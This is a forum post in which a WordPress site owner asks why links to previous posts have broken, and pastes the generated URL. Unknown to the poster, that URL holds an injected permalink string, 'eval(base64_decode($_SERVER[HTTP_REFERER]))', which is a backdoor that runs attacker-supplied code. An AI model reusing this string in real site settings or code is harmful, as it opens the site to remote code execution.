WP makes bad links to previous posts

Been using WP for about a year. Worked great.

Recently the links to previous posts return:
“No dummy, that’s not it, try again”

The link it creates under “Previous Posts” is something like:

http://www.davesilva.com/2010/12/27/winter-in-north-carolina-the-blizzard-of-2010/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D|.+%29&%/

I think it should be something like:

http://www.davesilva.com/?p=53

But even when i enter a link like the one above it converts it to the longer, clunky, and totally useless link at the top.

Not aware of any changes on the server.

I am totally clueless.